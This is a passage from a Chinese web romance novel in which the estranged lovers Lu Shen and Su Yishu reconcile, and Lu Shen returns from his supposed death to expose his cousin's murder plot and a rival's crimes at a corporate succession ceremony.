“苏振东说,程丽梅当年找过你,她说只要你还在我身边,陆家就永远不会让我踏进大门一步,甚至会动用所有的关系打压我,让我这辈子都抬不起头做人。”
陆慎的声音有些颤抖,眼眶在那一瞬间红得厉害,“你怕我真的做个苟且偷生之辈,怕我这辈子被毁了,所以才在那年雨夜跟我说那些狠话,非要分手,是不是?”
苏亦姝闭上眼,任由眼泪无声地没入他的衬衫。
回想起那段日子,是她人生最黑暗的时刻。
程丽梅的手段远比陆慎看到的要阴狠。
她不仅仅拿陆慎的前途威胁她,更是拿苏家的生死在逼她,还有她妈妈……
她看着当年那个满身傲骨,意气风发的少年,实在不忍心看到他为了自己,最后被陆家那群狼心狗肺的东西踩在泥潭里挣扎。
苏亦姝吸了吸鼻子,声音哽咽,“陆慎,你这种人,天生就该站在顶峰。我不想成为你的污点,更不想成为你的软肋。”
“狗屁顶峰!”
陆慎突然低吼一声,猛地抬起头,那双通红的眼眸里全是深沉的偏执与疯狂。
他紧紧盯着苏亦姝,捧起她的脸,嗓音哽咽着,又带着沉重,“苏亦姝,你以为我想要那个破陆家?你以为我稀罕那个擎天总裁的位置?如果代价是失去你,那些东西对我来说连垃圾都不如!”
他低下头,滚烫的吻落在她的指缝间,每一个动作都带着卑微的讨好与无尽的愧疚。
陆慎嘲讽地勾了勾唇角,眼泪终于滚落下来,“那时候我恨你,恨你为什么走得那么决绝,恨你为什么连个解释都不给我就嫁给了陆钦……我以为你变了,我以为你爱慕虚荣……可到头来,最蠢的那个人是我。是我没护住你,让你一个人在这虎狼窝里熬了这么长时间……是我,都是我的责任……”
苏亦姝看着他这副模样,心疼得揪成了一团。
她伸出手抚上他的脸颊,指尖轻轻揩去他眼角的泪,“都过去了,陆慎。”
陆慎固执地摇了摇头,翻身将她压在身下,双手撑在她身侧,目光灼热而坚定,语气中带着一股执拗。
“过不去。苏亦姝,陆家我不要了,那些股份、权势,我全都可以丢掉。以后我就赖在你身边,你修橄榄林,我给你递剪刀;你想回江城,我给你守门。只要你别再推开我,让我做什么都行。”
苏亦姝看着这个在外人眼里冷血残暴的男人,此刻却像个怕被丢弃的孩子一样,对自己表白,心底那道最坚硬的防线彻底崩塌。
她主动抬起头,在他干裂的唇上轻轻啄了一下,语调轻柔却带着安定的力量。
“陆慎,这次,我们不分开了。”
这段时间,她想清楚了很多事情。
陆慎在她心底的份量,远超过她的预估了。既然丢不掉,那就接受!
至于其他人的眼光,她为何要去在意?
听到这话,陆慎神色激动,双眼带着期待和不确定。
“苏亦姝,你……你说的是真的吗?真的,不分开了?永远都不分开了?”
看着他小心翼翼又满怀期待的样子,苏亦姝点了点头。
“嗯,不分开了,这次,真的不分开了。”
得到了肯定的答复,陆慎那一双布满血丝的眼眸里,瞬间迸发出了惊人的亮光。
那种亮,像是要在这一片昏黄的壁灯下,将苏亦姝整个人都给灼烧、熔化。
他没再说话,只是那双原本撑在她身侧的手,微微颤抖着,随后发狠一般,死死地扣住了她的腰。
他像是要把这几年缺失的、错过的、还有那些刻骨铭心的恨与爱,全都通通讨要回来。
陆慎的声音沉得不像话,每个字都像是从喉咙深处磨出来的,看着苏亦姝的双眼,更是夹杂着慢慢的爱意和坚定,还有一抹激动。
“苏亦姝,这话是你亲口说的。你要是敢再骗我一次,我真的会拖着你一起下地狱,你听清楚了吗?”
苏亦姝眼神没有任何躲闪,她迎着他那疯狂又狂热的目光,手轻轻攀上他的后背,隔着衬衫感受着他滚烫的体温。
“听清楚了,陆疯子。”
她的话音刚落,陆慎的吻便铺天盖地地压了下来。
相比于刚才那个带着试探和确认的吻,这一次,动作里充满了掠夺感和在失
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控边缘的克制和渴望。
他急切地寻找着她的呼吸,舌尖抵开她的贝齿,长驱直入,那股霸道且浓烈的烟草味瞬间在苏亦姝的口中蔓延而开,搅得她心跳如鼓,大脑一片空白。
“唔……陆慎,你的伤……”
苏亦姝在喘息的间隙,理智尚存地推了推他的肩膀。
她的指尖触碰到了他额头那块微湿的纱布,那里还渗着血,提醒着她这个男人才刚刚从鬼门关爬回来。
陆慎却顺势抓住了她的手腕,将其按在枕头上方,整个人压得更紧。
他略微退开些许,那双漆黑的眸子在暗影中沉浮,声音暗哑得厉害,“没事,死不了。这点痛,比不上你在会议室说那些话时给我的震动。”
“可你还在流血……”
“苏亦姝,你觉得我费尽心机活下来,半夜潜回这间卧室,就是为了让你盯着我的伤口看的?”
陆慎冷哼一声,眼底那抹偏执的欲望丝毫不加掩饰。
他低下头,唇瓣顺着她的下颌线一路向下,最后停留在她白皙纤长的脖颈处,惩罚性地轻咬了一口。
苏亦姝身体一颤,忍不住发出一声细微的轻哼,那声音在寂静的卧室里,简直是最好的催情剂。
陆慎原本紧绷着的弦,在这一声轻哼中彻底断了。
他单手解开自己风衣的扣子,随手一甩,那件风衣便狼狈地掉落在地。
随后,他的手指搭在衬衫的纽扣上,动作利落而狂野,眼神却始终死死地锁在苏亦姝身上,像是要把她每一寸细微的表情都刻进灵魂里。
“陆慎,你……”苏亦姝脸颊通红,在这逼仄又炽热的气氛下,她甚至觉得自己要被他的目光给点着了。
“我很有分寸,苏亦姝。”
陆慎再次覆身而上,冰冷的衬衫纽扣贴着她温热的肌肤,激起一阵细密的战栗。
他修长的手指穿过她的长发,指腹摩挲着她的耳垂,声音低沉又充满了撩人的磁性。
“今晚,我只想要你,只要你。”
没有了阴谋诡计,没有了家族仇恨,也没有了那层冰冷的伪装。
在这个被风雨和硝烟隔绝的半山别墅里,在这一方昏黄的光影中,苏亦姝终于放弃了所有的抵挡。
她主动勾住他的脖子,任由那股霸道的气息将自己彻底淹没。
陆慎像是终于得到了救赎的信徒,他的吻变得极尽缠绵且认真,每一处掠夺都带着确认。
他要确认她是真实的,确认她是活生生的,确认她这次是真的留在了他的怀里。
这一夜,半山墅的壁灯直到天亮都未曾熄灭。
两个在黑暗中独自跋涉了太久的人,终于在这张满是对方气息的床上,通过这种最原始,最直白的方式,彻底确认了彼此的归属。
窗外的风声渐渐小了,而屋内的温情与拉扯,才刚刚达到极致……
第一百四十五章 众望所归?谁众望?
第二天一早,阳光透过窗帘的缝隙,落在凌乱的深灰色床单上。
苏亦姝醒来的时候,浑身酸痛得像是被车子重重碾过一样。
昨晚,不仅是陆慎陷入了疯狂,她也很疯狂,从未有过的回应,跟随着他的动作去沉沦。
甚至是,主动去迎合,去摆弄。
正是因为她的主动,才让原本就饥渴的陆慎,更加如狼似虎。
她动了动手指,立刻感觉到腰间横着一条沉稳有力的手臂,将她死死地搂在怀里,那力道即便是在熟睡中也透着股绝对的占有欲。
她微微仰头,入眼的是陆慎线条分明的下颌。
他还没醒,或者说,他睡得很沉,眉宇间那股常年散不去的戾气在清晨的微光中淡化了许多,只有额头那圈略显凌乱的纱布,提醒着昨夜的一切并非梦境。
苏亦姝盯着他看了很久,鬼使神差地伸出手,指尖想要抚平他微蹙的眉头。
还没碰到,那双紧闭的眼眸却猛地睁开。
那是一双布满血丝却异常清醒的眼睛,在对上苏亦姝视线的刹那,眼底深处紧绷着的防备瞬间化作了浓得化不开的温柔。
“醒了?”陆慎的声音哑得厉害,带着刚睡醒特有的磁性。
他没松手,反而更用力地将她往怀里揉了揉,把头闷在她颈窝,带着几分缱绻,“我还以为,一睁眼你又跑了。”
苏亦姝笑了笑,没挣扎,顺从地贴着他的胸膛,伸出手,环抱着他的腰。
“你真以为我不知道,这里虽然是我住的别墅,但到处都是你的人,我能跑到哪去?”
陆慎抬起头,单手撑在枕头上,垂眸凝视着她。
他额头的伤口因为昨夜的剧烈动作又渗出了一丝红,在他苍白的皮肤上显得格外惊心。
他像是在确认什么稀世珍宝一样,指腹反复摩挲着她的脸颊,眼神偏执得有些吓人。
“你知道我想听的不是这个。”
“苏亦姝,再叫我一声。”
苏亦姝看着他这副样子,心底最柔软的地方被触动了一下,又酸又软。
这个在江城翻云覆雨,哪怕死里逃生也要布局算计的男人,此刻却在卑微地向她讨要一个称呼。
“陆慎。”她轻声唤道。
“不对,换一个。”他固执地纠缠,气息逼近,带着昨夜未散的侵略感。
苏亦姝脸颊顿时一红,昨晚,两人在到达顶、峰的时候,她被陆慎逼着叫了许多以前打死也说不出口的词。
她撇过脸,眼底透着娇羞,声音有些小,却带着一股子娇嗔,“别闹了,该起来处理伤口了,纱布都渗血了。”
陆慎没动,只是静静地看着她,直到看得苏亦姝心里很是无奈,他才低低地笑了一声。
那笑声从胸腔里震动出来,传导到苏亦姝身上,带起一阵细密的颤栗。
“行,听太太的。”
他虽然这么说着,却依旧赖在床上没动弹,只是用那种炙热又贪婪的目光描摹着她的眉眼。
陆慎的声音低沉下去,带着几分自嘲,“苏亦姝,这种日子,我以前连想都不敢想。我以前总觉得,只有把你锁起来,让你恨我,你才能记住我。现在想来,我那时候大概是真的疯了。”
苏亦姝伸出手,轻轻覆盖在他那只轻捏着她下巴的手背上。
他的手有些凉,掌心带着薄茧,却给了她前所未有的踏实。
苏亦姝叹了口气,目光对上他的眼睛,没有任何闪躲,只有爱意。
“陆慎,我以前确实恨你。恨你霸道,恨你自私,恨你连解释的机会都不给我。但我也恨我自己。恨自己在得知你出事的消息时,第一反应竟然是天塌了。那时候我才知道,我妈说得对,我这辈子大概是栽在你手里了。”
陆慎的呼吸猛地一滞,眼底的亮光几乎要溢出来。他猛地低头,在她的额头上印下一个虔诚而颤抖的吻。
“栽得好。这辈子,你都别想翻身了。”
温情并没有持续太久,床头柜上的手机突然震动起来,打破了这难得的静谧。
陆慎扫了一眼屏幕,那是周轩的号码。
他的眼神在瞬间变了一下,意识到苏亦姝在自己的怀里,这才眉眼跟着柔化了几分,在他看来,只要苏亦姝在自己身边,其他的事,都不叫事。
他当着苏亦姝的面按下了接听键。
“陆总,陆彦出来了,打算今天上午十点,在公司召开正式的接任仪式,还请了江城所有的主流媒体。”周轩的声音透着冷意。
陆慎冷笑一声,指尖有一下没一下地绕着苏亦姝的一缕长发,语气慵懒却杀气腾腾,“让他办。阵仗越大越好,爬得高,摔得重,这个道理他还是不懂……”
挂断电话,陆慎看向怀里的女人,挑了挑眉,“陆太太,还没当过总裁夫人吧?想不想跟我去现场,看场好戏?”
苏亦姝坐起身,长发凌乱地散在肩头,眼神清冷而坚定。
“好戏当然要看。不过在那之前,陆慎,你得先把药吃了,把纱布换了。”
陆慎看着她这副管家婆的模样,嘴角弧度扩大。
“遵命。”
两人坐在车子里,去往擎天集团。
苏亦姝有些不解地说道:“陆彦为何还那么坚定的召开什么接任仪式?昨天我说的话,他没听清?又或者是,他认为,自己能够搞定我这边?”
陆慎笑了下,伸手握着她的手,把玩着苏亦姝修长的手指。
“陆彦这个人啊,太过于自负了。即使你拿出了跟我的结婚证,在他看来,那又如何?
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陆家的产业,还从未落入过一个外姓人的手中过。昨天,只是事情太过突然,所以他也被唬住了。经过一晚上,估计是想通了,又联系了一些股东吧。”
苏亦姝“啧”了一声,没好气地说道:“这个陆彦,还真是魔怔了。就这么想坐上那个位置?也不看看,自己有没有那个能力,有野心固然是好事,但也得有匹配得上的能力才行……”
瞧着苏亦姝那一脸的不屑,陆慎笑了。
“那夫人认为,你丈夫我,有没有那个能力呢?”
瞧着他欠揍的模样,苏亦姝直接瞪了一眼。“有有有,你陆慎要是没那个能力,估计整个江城人都没有了……”
“哈哈哈哈……还是我老婆嘴巴甜。”陆慎直接被苏亦姝的话给取悦了,眉眼都是笑意。
擎天集团一楼大厅,此刻围满了不少的人,整个大厅几乎都占据了,闪光灯更是错落交织,可见媒体来的也异常多。
陆彦特意选了最宽敞的会议大厅,红地毯从门口一直铺到了主、席台。
他换了一身考究的深蓝色西装,头发梳得一丝不苟,正站在台上对着无数话筒侃侃而谈。
在他身侧,站着穿着一身白色休闲西装的赵西双。
“陆慎先生的意外,是整个江城的损失,更是陆家的切肤之痛。但擎天不能一日无主,为了稳住股市,为了对数万员工负责,我只能顶着压力站出来……”
陆彦语气沉痛,可眼角眉梢那股志得意满的精光,怎么也藏不住。
台下的记者拼命记录着,陆子勋坐在第一排,脸上挂着志在必得的笑。
在他们看来,昨天的苏亦姝不过是**之末,只要今天的仪式一成,木已成舟,她一个女人翻不起什么浪浪。
而赵西双,也在旁边说道:“阿彦接管擎天,也是众望所归。届时,赵氏会跟擎天集团彻底联手……”
说完,台下一阵呼声。
就在陆彦拿起签字笔,准备在那份象征权力的任命书上落笔时,大厅厚重的大门被人从外面猛地推开。
“什么时候,擎天轮到他陆彦说话了?众望所归?都是哪些人众望?”
一道冷冽又熟悉的声音传来,众人顿时一惊。
尤其是站在上面的陆彦和赵西双,两人同事瞪大了双眼,脸色大变!
双眼紧紧盯着门口的方向,心底,那个名字骤然而起。
怎么可能?那个人**,怎么可能会出现?
所有的镜头下意识地转过去,对着门口的位置,在看到门口出现的人时,所有人脸上都同时出现了相同的表情!
苏亦姝走在前面,一袭黑色风衣衬得她身形修长且清冷。
而她的身边,站着一个本该“死”在江底的男人。
陆慎。
第一百四十六章 恶有恶报
众人看着站在门口的陆慎,额头上还包扎着纱布,脸上透着一丝病态的苍白。
纵然这样,可那双深邃如深潭的眼眸,依旧带着上位者的威压和霸气,让在场所有人的呼吸都在刹那间停滞了。
陆慎冷冷扫过全场,眼底的讥讽和冷意荡开来,最后,目光落在了陆彦的身上。
“陆彦,谁给你的勇气,让你站在那里?接受擎天?你有那个资格坐在那里?且不说你手里有多少股份,就单单你的能力,也坐不上那个位置!”
陆慎的声音不高,却郑重有力,在大厅里反复回荡。
台上的陆彦整个人浑身僵硬,手中的签字笔“啪嗒”一声掉在地上。
他死死地盯着陆慎,脸色从红润迅速变得惨白,最后成了死灰,眼底更是带着浓浓的惊惧。
“陆……陆慎?你、你不是……”
陆彦双腿一软,整个人重心不稳,跌坐在身后的椅子上,因为惯性,连带着椅子一起往后滑了一段距离,显得狼狈不堪。
陆子勋也猛地站了起来,手里的茶杯直接摔碎在脚边,满脸惊骇。“这不可能!陈淮明明说……”
就在这时,另一侧的侧门也被推开。
顾从之和陈淮各带了一些人,大步流星地走进来,直接切断了陆彦所有的退路。
陈淮走到陆慎身侧,先是看了一眼陆慎那只始终揽在苏亦姝腰间的手,又捕捉到了陆慎看向苏亦姝时,那抹丝毫不加掩饰的,甚至带点炫耀性质的笑意。
陈淮和顾从之对视一眼,两人眼底都浮现出一抹了然。
得,折腾这一大圈,这两位祖宗终于是说明白了,又凑在一起了。
真好,他们的耳根子,也能清净了。
顾从之推了推金丝眼镜,语气里带着几分调侃,“陆总,看来我这出差回来得正是时候,刚好赶上你的‘复活’仪式。”
陆慎没理会顾从之的打趣,他微微低头,在众目睽睽之下,动作亲昵且自然地在苏亦姝耳边说了句什么。
苏亦姝本想推开他,但想到现在的场合,索性随他去了,只是那双清冷的眼眸依旧紧紧地看向台上的陆彦。
苏亦姝伸手轻推了他一下,陆慎这才抬起头,看向台上的陆彦,嘴角勾起一抹冰冷的弧度。
“我看了一下,你准备的这些媒体挺专业的,刚好,省得我再叫人了。周轩,把东西放出来,让大家看看,这位陆家四少,为了坐上这个位置,到底都动了哪些心思。”
陆彦瘫在椅子上,浑身剧烈地打着哆嗦。
他看着陆慎那副慵懒却又冷漠无情的样子,知道自己不仅是输了,更是彻底完了。
“爸……救我……”
陆彦看向陆子勋,可是陆子勋此时,已经是自身难保了。
他在陆慎出现的那一刻,就想找个地方来掩藏自己。
关于陆慎的手段,他比谁都清楚。他在海外的那些手段,就是被陆慎给一一摧毁拔除的。
当时,他找老爷子**过,让老爷子教训陆慎,但是老爷子根本就置之不理,还说是他自己无能。气得他直跺脚!
陆彦看到自己亲爹的样子,就知道没用。看向旁边的赵西双,见她脸色苍白地盯着陆慎,眼底的激动,还有爱意怎么都遮掩不住。
陆彦嗤笑了声,赵西双,你还真是贼心不死啊。我倒要看看,你那一腔爱意,怎么去维持。
最后,陆彦把目光落在了苏亦姝身上。
他知道,这一刻,只有苏亦姝能够救他了,他还不想死……
“苏……亦姝……你……”
苏亦姝冷冷地看着陆彦,还没开口,陆慎冷哼一声,那只揽着苏亦姝小蛮腰的手猛地收紧,将她整个人往自己怀里带了带,眼神阴冷地看向陆彦。
“谁给你的脸,敢这么叫她?”
陆慎眼神阴鸷,眼底的杀意一闪而过。
陆彦浑身冷汗,不等他开口,陆慎又说道:“既然大伙都在,那我也免得再请了,就让大伙免费看点东西吧。”
说完,朝着周轩看去。
周轩立即朝着后台走去。
在陆彦不安又紧张地目光下,大厅巨大的LED屏幕闪烁了几下,随即画面跳转。
周轩面无表情地站在操作台前,按下了播放键。
画面里,是陆彦和那名刹车系统维修工在地下车库秘密碰头的全过程,录音十分清晰。
陆彦那句“做得干净点,江里鱼多,让他死无全尸”,一字不落地落入众人的耳朵里,众人随即露出震惊的神色。
原来,陆慎的车祸,是陆彦搞的。
陆彦面色惨白一片,张了张嘴,想要解释,但是一句话都说不出来。
陆慎松开揽着苏亦姝的手,朝着苏亦姝说了句,“在这等我。”
然后,整理了下袖口,这才朝着陆彦走去,脚步不紧不慢,姿态从容又肆意。
陆彦看着走过来的陆慎,想要后退,但是,手脚却不听使唤。
“除了**,还有这几年你从公司海外项目里抽走的每一笔脏钱。陆彦,你的接任仪式确实很精彩,正好请全江城法律界人士看看,这该判多少年。”
陆彦彻底瘫软在地上,像一摊烂泥,再也没了刚才指点江山的意气风发。
处理完陆彦,陆慎并没有停下。
他转过身,目光犀利地锁定了站在角落,目光闪烁的赵西双。
赵西双的脸色惨白,可那双眼睛却依旧死死盯着陆慎,里面翻涌着难掩的痴迷与不甘。
“阿慎……我所做的一切,都是为了帮你,你知不知道陆彦他……”
“帮我?”
陆慎嗤笑一声,那笑声里不带一丝温度,反而让人脊背发凉。
他走到赵西双面前,目光冷漠,神色却带着极大的杀意。
“帮我到……
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想杀了我太太?”
赵西双瞳孔骤然紧缩,“我没有……”
陆慎一脸厌恶,“周轩,下一份。”
大厅屏幕再次变换,是一份份发自国外的秘密邮件,以及几个满身纹身的男人在海外警局的供词。
“三年之前,在伦敦,你买通当地黑帮试图**苏亦姝。几个月前,路南公路上那场意外的车祸,撞翻了苏亦姝和方思荷的车……”
“其实,原本我懒得动你的,你做什么,跟我无关,我也不关心。但是,你却动了不该动的人。苏亦姝,就是我的底线!”
陆慎眼神阴鸷,步步紧逼,“赵西双,你伪造赵氏账本的事,真以为没人知道?你以为在国外做得神不知鬼不觉?你以为你那些恶心的手段能瞒天过海?”
陆慎每说出一个字,赵西双的身体就颤抖一分。
苏亦姝站在那,听着陆慎一一揭开赵西双的嘴脸,神色始终平静。至于自己和思荷的车祸,其实她知道背后指使者是赵西双,但是没有证据。当时因为这件事,她不是没想过要跟陆慎闹,但是,她最后什么都没说。
对陆慎的埋怨,也因此更深了。
“阿慎,我是因为爱你!我做的这些,都是因为你,我想要站在你身边,想要你看到我!她苏亦姝凭什么能够站在你身边?凭什么能得到你的偏爱?她只会连累你,只有我才能……”赵西双像是疯了一般嘶吼起来,那种扭曲的爱意在这一刻彻底爆发。
“闭嘴。”
“你的爱让我觉得恶心。动我,我或许还能留你一条活路,但动苏亦姝……赵西双,你下半辈子就在牢里慢慢忏悔吧。”
随着陆慎话音落下,大厅门口走进来几名穿着制服的警察。
赵西双和陆彦真的害怕了。
这一刻,他们心底十分后悔……
“赵西双女士,陆彦先生,请跟我们走一趟。”
“不,我不要坐牢,我不要!”赵西双一脸抗拒和害怕,想要去拉扯陆慎的衣角,但是被警察给摁着。
赵西双只能嘶吼着。“阿慎,阿慎,你不能这么对我,我所做的一切,都是因为你,都是因为我爱你……求求你,放过我,我知道错了,我保证,肯定不会再做那些事情了……陆慎,你不能这么对我。”
陆彦和赵西双被带走时,整个会议厅死寂一片。
那些刚才还准备见证陆彦接任的媒体,此刻连大气都不敢喘,所有的镜头都对准了台上那个即便带着伤,也依旧浑身透着霸气的男人。
陆慎转过身,在一片狼藉中看向苏亦姝。
他眼底的狠戾在触及到苏亦姝的那一刻,消失得无影无踪。
他走过去,当着所有媒体的面,再次牵起苏亦姝的手,十指紧扣。
“好戏看完了,陆太太,我们回家?”
苏亦姝笑的一脸温柔。
“好,陆先生。”